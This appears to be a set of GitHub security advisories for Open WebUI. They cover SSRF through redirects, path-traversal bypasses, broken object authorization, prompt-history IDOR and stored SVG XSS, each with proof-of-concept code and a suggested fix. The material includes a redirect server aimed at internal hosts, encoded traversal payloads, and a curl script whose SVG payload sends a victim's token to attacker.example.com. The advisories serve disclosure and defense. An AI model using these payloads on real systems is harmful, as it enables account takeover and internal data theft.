Summary The SafePlaywrightURLLoader implements a validateurl function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.
Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).
This allows the application to access internal services despite ENABLERAGLOCALWEBFETCH being set to False
Details Root Cause
The application validates the initial user-provided URL using self.safeprocessurlsync(url). This correctly resolves the domain and ensures it does not point to a private IP.
The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).
The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.
python for url in self.urls: try: self.safeprocessurlsync(url) page = browser.newpage() response = page.goto(url, timeout=self.playwrighttimeout) #this if response is None: raise ValueError(...) text = self.evaluator.evaluate(page, browser, response)
PoC (This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)
1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine. 2. ENABLERAGLOCALWEBFETCH=False (Default) 3. RAGWEBLOADERENGINE=playwright 4. Setup and run attack server 5. In Open WebUI, use the "Web Search" or "URL Loader" feature. 6. Input the attacker's URL (e.g., http://attacker-ip/).
python attackserver.py from flask import Flask, redirect app = Flask(name)
@app.route('/') def attack(): # Redirect to the Open WebUI container's internal port return redirect("http://open-webui:8080/api/version", code=302)
if name == 'main': app.run(host='0.0.0.0', port=80) <img width="580" height="192" alt="image" src="https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e" />
The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)
Impact + Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials. + Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools. + Container Environments: Accessing other containers within the same network.
Recommended Patch implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.
apply the following logic to both lazyload and alazyload methods:
python async context async def interceptroute(route): try: await runinthreadpool(validateurl, route.request.url) await route.continue() except Exception: await route.abort()
await page.route("/", interceptroute) response = await page.goto(url, timeout=self.playwrighttimeout)
Summary
The terminal-server reverse proxy in backend/openwebui/routers/terminals.py does not fully confine the user-controlled path segment before forwarding it to an admin-configured terminal server. An authenticated user who has been granted access to a terminal server can craft path values containing encoded ../ traversal sequences that escape the intended path (or policy) scope on that server, reaching unintended endpoints and files on the terminal-server host. Where the terminal server fans requests out to internal services, this also gives SSRF-style reach into those services.
This is a separate code path from the /api/v1/retrieval/process/web SSRF (GHSA-c6xv-rcvw-v685), with its own input. Two distinct vectors are consolidated here:
1. Raw path forwarding / single-encoded traversal (original report). 2. A bypass of the subsequently-added sanitizeproxypath mitigation using double-encoded dots (%252e%252e).
The attacker-controlled input is the request path, supplied by the non-admin user, not anything an administrator configures, so this is not an admin-trust / Rule-9 situation.
Affected code
The proxy route forwards an arbitrary trailing path to the configured terminal server:
python routers/terminals.py @router.apiroute('/{serverid}/{path:path}', methods=PROXYMETHODS) async def proxyterminal(serverid, path, request, user=Depends(getverifieduser)): ... safepath = sanitizeproxypath(path) if safepath is None: return JSONResponse({'error': 'Invalid path'}, statuscode=400) targeturl = f'{baseurl}/{safepath}' policyid = connection.get('policyid') if policyid: targeturl = f'{baseurl}/p/{policyid}/{safepath}'
Access requires hasconnectionaccess(user, connection, ...), i.e. a non-admin user the administrator has granted to that terminal server.
Vector 1 — single-encoded traversal (original)
The path was originally concatenated to the base URL with no sanitization (targeturl = f"{baseurl}/{path}"), so single-encoded traversal escaped the intended scope:
GET /api/v1/terminals/server1/..%2F..%2F..%2Finternal-api/secrets proxied to: {baseurl}/../../../internal-api/secrets
This vector is closed at HEAD: sanitizeproxypath now URL-decodes once, runs posixpath.normpath, strips leading slashes, and rejects results beginning with .. (unquote('..%2F..%2F') -> '../../' -> normpath -> '../..' -> rejected).
Vector 2 — double-encoded bypass of sanitizeproxypath
sanitizeproxypath decodes the path only once before the .. check, so a double-encoded payload survives:
python def sanitizeproxypath(path: str) -> str | None: decoded = unquote(path) # single decode pass only normalized = posixpath.normpath(decoded) cleaned = normalized.lstrip('/') if cleaned.startswith('..') or cleaned == '.': return None ...
unquote('%252e%252e/secret') yields %2e%2e/secret (not ..), which normpath leaves unchanged and which does not start with .., so it passes the check. The proxy then forwards {baseurl}/%2e%2e/secret, and the upstream terminal server decodes %2e%2e into .. and resolves the traversal the check was meant to prevent.
GET /api/v1/terminals/server1/%252e%252e/%252e%252e/sensitive-file passes sanitizeproxypath as %2e%2e/%2e%2e/sensitive-file upstream decodes -> ../../sensitive-file
The policyid form ({baseurl}/p/{policyid}/{safepath}) is the higher-impact target: traversal escapes the policy namespace and reaches other policies or the terminal-server root.
Impact
An authenticated user with access to a terminal server can escape the intended path/policy scope on that server, reaching unintended endpoints and files, and, where the terminal server routes onward to internal services, reach those services. CWE-22 (Path Traversal) and CWE-918 (SSRF).
Fix
Decode the proxy path until it is stable before normalising and checking, so no depth of encoding can smuggle a traversal sequence past the check to be re-decoded upstream:
python decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once normalized = posixpath.normpath(decoded) cleaned = normalized.lstrip('/') if cleaned.startswith('..') or cleaned == '.': return None
This rejects %2e%2e, %252e%252e, %25252e%25252e, ..%2f..%2f, etc., while leaving legitimate paths (including singly-encoded characters such as %20) intact.
Credits
- Tulgaaaaaaaa — original report (terminal-proxy path SSRF / single-encoded traversal). - sermikr0 — double-encoded (%252e%252e) bypass of the sanitizeproxypath mitigation.
Summary
Open WebUI has a Broken Object Level Authorization (BOLA) vulnerability in the builtin searchknowledgefiles tool.
When native function calling is enabled and the selected model has no attached knowledge bases, an authenticated user can call searchknowledgefiles with an arbitrary knowledgeid. The function then returns file metadata from that knowledge base without checking whether the user has read access.
This allows unauthorized enumeration of private or restricted knowledge base files.
Details
The vulnerable code is in:
backend/openwebui/tools/builtin.py
Affected function:
python async def searchknowledgefiles( query: str, knowledgeid: Optional[str] = None, count: int = 5, skip: int = 0, request: Request = None, user: dict = None, modelknowledge: Optional[list[dict]] = None, ) -> str:
In the "No attached knowledge" branch, when knowledgeid is provided, the function directly calls:
python result = await Knowledges.searchfilesbyid( knowledgeid=knowledgeid, userid=userid, filter={"query": query}, skip=skip, limit=count, )
This code path does not verify that the current user is authorized to access the specified knowledge base.
The missing check is inconsistent with other nearby code paths. For example, the attached-knowledge branch in the same function checks whether the user is an admin, the owner of the knowledge base, or has explicit read access through AccessGrants:
python if not ( userrole == "admin" or knowledge.userid == userid or await AccessGrants.hasaccess( userid=userid, resourcetype="knowledge", resourceid=knowledge.id, permission="read", usergroupids=set(usergroupids), ) ): continue
The sibling function queryknowledgefiles also performs the same authorization check before using user-supplied knowledge base IDs.
The underlying method Knowledges.searchfilesbyid() receives userid, but it does not enforce authorization for the provided knowledgeid. As a result, this builtin tool path can access a knowledge base by ID without verifying the caller's permissions.
PoC
Prerequisites
- The attacker has a valid authenticated Open WebUI account. - The victim owns a private or restricted knowledge base. - The attacker does not own the target knowledge base. - The attacker does not have read permission for the target knowledge base in AccessGrants. - The attacker knows the target knowledgeid. - The selected model has no attached knowledge bases. - Builtin tools are enabled. - The knowledge builtin tool category is enabled. - Native function calling is enabled.
Reproduction Steps
1. Create a private or restricted knowledge base as the victim user.
2. Upload one or more files to that knowledge base.
3. Confirm that the attacker user does not have access to the knowledge base.
4. As the attacker user, send a chat completion request with native function calling enabled:
json { "stream": true, "model": "gpt-4o-mini", "params": { "functioncalling": "native" }, "messages": [ { "role": "user", "content": "Please use the searchknowledgefiles tool with knowledgeid \"c0c84752-2e9d-42bf-bc3c-c0f272aa61c1\" to search all files" } ] }
Replace c0c84752-2e9d-42bf-bc3c-c0f272aa61c1 with the victim's private knowledge base ID.
Expected Result
The request should be denied because the attacker does not have access to the target knowledge base.
Actual Result
searchknowledgefiles returns metadata for files inside the target knowledge base, including:
- file ID; - filename; - knowledge base ID; - knowledge base name; - update timestamp.
Impact
This is a Broken Object Level Authorization / Broken Access Control vulnerability.
An authenticated attacker who knows a valid knowledgeid can enumerate files from private or restricted knowledge bases without authorization.
The leaked metadata may expose sensitive information through filenames, such as:
- financial reports; - employee documents; - customer contracts; - internal roadmap files; - confidential project documents.
The exposed file IDs may also help attackers chain this issue with other knowledge-file access paths, such as viewknowledgefile, to attempt further content extraction.
This vulnerability bypasses the intended AccessGrants permission model and may also allow post-revocation metadata access if a user remembers a previously accessible knowledgeid.
Suggested Fix
Add the same authorization check used in queryknowledgefiles before calling Knowledges.searchfilesbyid():
python if knowledgeid: knowledge = await Knowledges.getknowledgebyid(knowledgeid)
if not knowledge or not ( userrole == "admin" or knowledge.userid == userid or await AccessGrants.hasaccess( userid=userid, resourcetype="knowledge", resourceid=knowledge.id, permission="read", usergroupids=set(usergroupids), ) ): return json.dumps({"error": f"Access denied to knowledge base {knowledgeid}"})
result = await Knowledges.searchfilesbyid( knowledgeid=knowledgeid, userid=userid, filter={"query": query}, skip=skip, limit=count, )
As defense in depth, authorization should also be enforced or safely wrapped around Knowledges.searchfilesbyid() so that future callers cannot accidentally bypass access control.
Summary
Open WebUI's prompt version-history endpoints authorize the promptid in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (historyentry.promptid == prompt.id). Three operations are affected:
- GET /api/v1/prompts/id/{promptid}/history/diff — returns another prompt's history snapshots (read). - POST /api/v1/prompts/id/{promptid}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read). - DELETE /api/v1/prompts/id/{promptid}/history/{historyid} — deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompthistory.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{historyid}) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompthistory.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for promptid:
python backend/openwebui/routers/prompts.py prompt = await Prompts.getpromptbyid(promptid, db=db) ... if not ( user.role == 'admin' or prompt.userid == user.id or await AccessGrants.hasaccess( userid=user.id, resourcetype='prompt', resourceid=prompt.id, permission='read', db=db, ) ): raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
python backend/openwebui/routers/prompts.py diff = await PromptHistories.computediff(fromid, toid, db=db)
computediff() fetches both history entries globally by ID and returns their full snapshots:
python backend/openwebui/models/prompthistory.py resultfrom = await db.execute(select(PromptHistory).filter(PromptHistory.id == fromid)) fromentry = resultfrom.scalars().first() resultto = await db.execute(select(PromptHistory).filter(PromptHistory.id == toid)) toentry = resultto.scalars().first() ... return { 'fromsnapshot': fromsnapshot, 'tosnapshot': tosnapshot, ... }
There is no check that fromentry.promptid == promptid or toentry.promptid == promptid.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by versionid:
python backend/openwebui/models/prompts.py — updatepromptversion historyentry = await PromptHistories.gethistoryentrybyid(versionid, db=session) ... prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt prompt.versionid = versionid
DELETE .../history/{historyid} deletes an entry fetched globally by historyid:
python backend/openwebui/models/prompthistory.py — deletehistoryentry result = await db.execute(select(PromptHistory).filterby(id=historyid)) entry = result.scalars().first() ... await db.delete(entry)
Neither checks entry.promptid == prompt.id. The single-entry read endpoint (GET .../history/{historyid}) does (historyentry.promptid != prompt.id → 404); these three endpoints were missing it.
PoC
python #!/usr/bin/env python3 """ PoC for prompt history diff IDOR.
The PoC executes: - the real routers.prompts.getpromptdiff() route function - the real PromptHistories.computediff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The security-sensitive behavior under test is that the route authorizes the prompt ID in the URL, then computes a diff for arbitrary history IDs without checking that those history rows belong to the authorized prompt. """
from future import annotations
import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace
def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"
class DummyTyper: def command(self, args, kwargs): return lambda fn: fn
sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))
class FakeScalarResult: def init(self, row): self.row = row
def first(self): return self.row
class FakeExecuteResult: def init(self, row): self.row = row
def scalars(self): return FakeScalarResult(self.row)
class FakePromptHistoryDb: def init(self, rows): self.rows = rows self.calls = 0
async def execute(self, stmt): row = self.rows[self.calls] self.calls += 1 return FakeExecuteResult(row)
class FakeDbContext: def init(self, db): self.db = db
async def aenter(self): return self.db
async def aexit(self, exctype, exc, tb): return False
async def runrealcomputediff(fromid: str, toid: str): import openwebui.models.prompthistory as historymodule
victimfrom = SimpleNamespace( id=fromid, promptid="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATEPROMPTSECRETV1", }, ) victimto = SimpleNamespace( id=toid, promptid="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATEPROMPTSECRETV2", }, )
fakedb = FakePromptHistoryDb([victimfrom, victimto]) originalcontext = historymodule.getasyncdbcontext try: historymodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) diff = await historymodule.PromptHistories.computediff(fromid, toid) finally: historymodule.getasyncdbcontext = originalcontext
return diff
async def main() -> None: prepareimports()
import openwebui.routers.prompts as promptsrouter
attackerprompt = SimpleNamespace( id="attacker-prompt", userid="attacker", ) attacker = SimpleNamespace(id="attacker", role="user") victimfromid = "victim-history-from" victimtoid = "victim-history-to"
class FakePrompts: lookeduppromptids = []
async def getpromptbyid(self, promptid, db=None): self.lookeduppromptids.append(promptid) if promptid == "attacker-prompt": return attackerprompt return None
class FakeAccessGrants: async def hasaccess(self, args, kwargs): return False
class FakePromptHistories: computediffcalls = []
async def computediff(self, fromid, toid, db=None): self.computediffcalls.append( { "fromid": fromid, "toid": toid, "authorizedpromptidnotpassed": True, } ) return await runrealcomputediff(fromid, toid)
fakeprompts = FakePrompts() fakehistories = FakePromptHistories()
original = { "Prompts": promptsrouter.Prompts, "AccessGrants": promptsrouter.AccessGrants, "PromptHistories": promptsrouter.PromptHistories, } try: promptsrouter.Prompts = fakeprompts promptsrouter.AccessGrants = FakeAccessGrants() promptsrouter.PromptHistories = fakehistories
diff = await promptsrouter.getpromptdiff( promptid="attacker-prompt", fromid=victimfromid, toid=victimtoid, user=attacker, db=None, ) finally: for name, value in original.items(): setattr(promptsrouter, name, value)
result = { "confirmed": ( diff.get("fromsnapshot", {}).get("content") == "PRIVATEPROMPTSECRETV1" and diff.get("tosnapshot", {}).get("content") == "PRIVATEPROMPTSECRETV2" and fakeprompts.lookeduppromptids == ["attacker-prompt"] and fakehistories.computediffcalls and fakehistories.computediffcalls[0]["authorizedpromptidnotpassed"] is True ), "attackeruserid": "attacker", "authorizedpromptid": "attacker-prompt", "victimpromptid": "victim-prompt", "victimhistoryids": [victimfromid, victimtoid], "promptidsauthorizedbyroute": fakeprompts.lookeduppromptids, "computediffcalls": fakehistories.computediffcalls, "leakedfromsnapshot": diff.get("fromsnapshot"), "leakedtosnapshot": diff.get("tosnapshot"), "source": { "route": "backend/openwebui/routers/prompts.py:getpromptdiff", "sink": "backend/openwebui/models/prompthistory.py:PromptHistories.computediff", }, } print(json.dumps(result, indent=2, sortkeys=True)) if not result["confirmed"]: raise SystemExit(1)
if name == "main": asyncio.run(main())
The PoC executes the real route function and the real PromptHistories.computediff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
json { "attackeruserid": "attacker", "authorizedpromptid": "attacker-prompt", "confirmed": true, "leakedfromsnapshot": { "command": "/victim", "content": "PRIVATEPROMPTSECRETV1", "name": "Victim Prompt" }, "leakedtosnapshot": { "command": "/victim", "content": "PRIVATEPROMPTSECRETV2", "name": "Victim Prompt" }, "promptidsauthorizedbyroute": [ "attacker-prompt" ], "victimhistoryids": [ "victim-history-from", "victim-history-to" ], "victimpromptid": "victim-prompt" }
Exploit Sketch
Read via the diff endpoint:
1. Attacker has read access to ATTACKERPROMPTID. 2. Attacker knows two history IDs for a victim prompt: VICTIMFROMHISTORYID and VICTIMTOHISTORYID. 3. Attacker requests:
text GET /api/v1/prompts/id/ATTACKERPROMPTID/history/diff?fromid=VICTIMFROMHISTORYID&toid=VICTIMTOHISTORYID
4. The server authorizes ATTACKERPROMPTID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"versionid": "VICTIMHISTORYID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKERPROMPTID/history/VICTIMHISTORYID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
- computediff() should accept promptid and query both entries with PromptHistory.promptid == promptid alongside the id filter. - deletehistoryentry() should accept promptid and filter filterby(id=historyid, promptid=promptid). - updatepromptversion() should reject historyentry.promptid != promptid before restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing historyentry.promptid == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings). - update/version restore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.
Summary
A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.
The root cause is that servecachefile() in openwebui/main.py validates the resolved path with filepath.startswith(os.path.abspath(CACHEDIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cachesibling, cachebackup, cachedmodels) to pass validation.
Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.
Exploitation constraints
| Constraint | Detail | |---|---| | Auth required | getverifieduser — any user with role user or admin | | Scope | Only sibling directories starting with cache (e.g. cachebackup, cachedmodels) | | Deep traversal | Blocked — ../../etc/passwd correctly fails the startswith check | | Absolute paths | Blocked — /etc/passwd correctly fails | | Client normalization | httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload |
Vulnerability Details
Vulnerable function: servecachefile()
python openwebui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def servecachefile(path: str, user=Depends(getverifieduser)): filepath = os.path.abspath(os.path.join(CACHEDIR, path)) # prevent path traversal if not filepath.startswith(os.path.abspath(CACHEDIR)): # ← BUG: no trailing os.sep raise HTTPException(statuscode=404, detail='File not found') if not os.path.isfile(filepath): raise HTTPException(statuscode=404, detail='File not found') return FileResponse(filepath, headers=headers)
The bypass
python CACHEDIR = "/data/cache"
Attacker path: "../cachesibling/secret.txt" filepath = os.path.abspath(os.path.join("/data/cache", "../cachesibling/secret.txt")) → "/data/cachesibling/secret.txt"
"/data/cachesibling/secret.txt".startswith("/data/cache") → True ← BYPASS (because "cachesibling" starts with "cache")
Correct check would be: "/data/cachesibling/secret.txt".startswith("/data/cache/") → False ← BLOCKED
Proof of Concept
Environment
| Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | from openwebui.main import app (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side .. normalization) |
poc.py
python
import asyncio import os import shutil import sys import tempfile TEMPDATA = tempfile.mkdtemp(prefix="owuipoc") os.environ["DATADIR"] = TEMPDATA os.environ["WEBUISECRETKEY"] = "pocsecretkey12345" os.environ["WEBUIAUTH"] = "false" CACHEDIR = os.path.join(TEMPDATA, "cache") SIBLINGDIR = os.path.join(TEMPDATA, "cachesibling") os.makedirs(CACHEDIR, existok=True) os.makedirs(SIBLINGDIR, existok=True)
SECRETCONTENT = "STOLENFROMSIBLINGDIR" with open(os.path.join(SIBLINGDIR, "secret.txt"), "w") as f: f.write(SECRETCONTENT) with open(os.path.join(CACHEDIR, "legit.txt"), "w") as f: f.write("legitimatecachefile") from openwebui.main import app from openwebui.utils.auth import getverifieduser class FakeUser: id = "poc" email = "poc@test" role = "user"
app.dependencyoverrides[getverifieduser] = lambda: FakeUser() async def rawasgiget(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "querystring": b"", "headers": [(b"host", b"localhost")], "rootpath": "", "asgi": {"version": "3.0"}, } responsestarted = False statuscode = None bodyparts = []
async def receive(): return {"type": "http.request", "body": b""}
async def send(message): nonlocal responsestarted, statuscode if message["type"] == "http.response.start": responsestarted = True statuscode = message["status"] elif message["type"] == "http.response.body": bodyparts.append(message.get("body", b""))
await app(scope, receive, send) return statuscode, b"".join(bodyparts)
async def main(): s1, b1 = await rawasgiget(app, "/cache/legit.txt") s2, b2 = await rawasgiget(app, "/cache/../cachesibling/secret.txt") s3, b3 = await rawasgiget(app, "/cache/../../etc/passwd")
baselineok = s1 == 200 and b"legitimatecachefile" in b1 exploitok = s2 == 200 and SECRETCONTENT.encode() in b2 deepblocked = s3 == 404
print(f"package: openwebui (pip installed)") print(f"version: 0.9.5") print(f"function: servecachefile (GET /cache/{{path}})") print(f"sink: main.py:2914 filepath.startswith(os.path.abspath(CACHEDIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHEDIR: {CACHEDIR}") print(f"SIBLING: {SIBLINGDIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cachesibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploitok and baselineok and deepblocked else 'NOT CONFIRMED'}")
shutil.rmtree(TEMPDATA, ignoreerrors=True) sys.exit(0 if exploitok else 1)
if name == "main": asyncio.run(main())
PoC output
<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />
Suggested Fix
python if not filepath.startswith(os.path.abspath(CACHEDIR) + os.sep): raise HTTPException(statuscode=404, detail='File not found')
Single character fix: append os.sep to the prefix in the startswith check.
Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc
---
TL;DR
Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validateprofileimageurl field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.
---
Past of the issue
In early 2025, two security advisories landed for Open WebUI:
- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images - GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images
The patches were clean. A validateprofileimageurl function was introduced in backend/openwebui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.
The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:
python backend/openwebui/models/models.py, line 37-47 class ModelMeta(BaseModel): profileimageurl: Optional[str] = '/static/favicon.png' description: Optional[str] = None capabilities: Optional[dict] = None modelconfig = ConfigDict(extra='allow')
No @fieldvalidator. No import of validateprofileimageurl. ModelMeta accepts any string as profileimageurl including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
python backend/openwebui/routers/models.py, line 503-518 elif profileimageurl.startswith('data:image'): header, base64data = profileimageurl.split(',', 1) imagedata = base64.b64decode(base64data) imagebuffer = io.BytesIO(imagedata) mediatype = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'} # ... return StreamingResponse( imagebuffer, mediatype=mediatype, headers=headers, )
No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.
Compare this with the patched user endpoint:
python backend/openwebui/routers/users.py, line 497-509 mediatype = header.split(';')[0].lstrip('data:').lower()
if mediatype not in PROFILEIMAGEALLOWEDMIMETYPES: # <-- ABSENT in models.py return FileResponse(f'{STATICDIR}/user.png')
return StreamingResponse( imagebuffer, mediatype=mediatype, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py }, )
The fix exists. It just was never applied here.
Comparison Table
| Endpoint | Input Validation | MIME Allowlist | nosniff | Status | |----------|:---:|:---:|:---:|--------| | GET /users/{id}/profile/image | YES | YES | YES | Patched | | GET /webhooks/{id}/profile/image | YES | no | no | Partially patched | | GET /models/model/profile/image | NO | NO | NO | Vulnerable |
Three Write Vectors
The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:
1. POST /api/v1/models/create (line 195) any user with workspace.models permission 2. POST /api/v1/models/update (line 581) model owner or admin 3. POST /api/v1/models/import (line 279) admin only
The workspace.models permission is enabled by default for all non-pending users in a standard deployment.
The Attack
Step 1 Store the payload:
bash SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"basemodelid\": \"gpt-4\", \"meta\": { \"profileimageurl\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"accessgrants\": [] }"
Step 2 Victim navigates to the image URL:
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview
This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
http HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>
No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
bash #!/usr/bin/env bash PoC: Stored SVG XSS -> token theft via Open WebUI model profile image Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080" ATTACKERTOKEN="<attackerJWTfromlocalStorage.token>" COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
--- Step 1: Build the malicious SVG (steals victim JWT from localStorage) --- read -r -d '' SVG <<EOF <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); </script> </svg> EOF SVGB64=$(printf '%s' "$SVG" | base64 -w0)
--- Step 2: Store the payload in a model's profileimageurl --- curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKERTOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"basemodelid\": \"gpt-4\", \"meta\": { \"profileimageurl\": \"data:image/svg+xml;base64,${SVGB64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"accessgrants\": [] }"
--- Step 3: Trigger (victim navigates here, or attacker sends the link) --- echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
Expected server response at Step 3 (the proof — SVG served inline, no defenses):
HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg"> <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script> </svg> No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profileimageurl field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.
Recommended Fix
Input side add the validator to ModelMeta:
python backend/openwebui/models/models.py from openwebui.utils.validate import validateprofileimageurl
class ModelMeta(BaseModel): profileimageurl: Optional[str] = '/static/favicon.png' # ...
@fieldvalidator('profileimageurl', mode='before') @classmethod def checkprofileimageurl(cls, v): if v is None: return v return validateprofileimageurl(v)
Output side add MIME check and nosniff to the serving endpoint:
python backend/openwebui/routers/models.py mediatype = header.split(';')[0].lstrip('data:').lower()
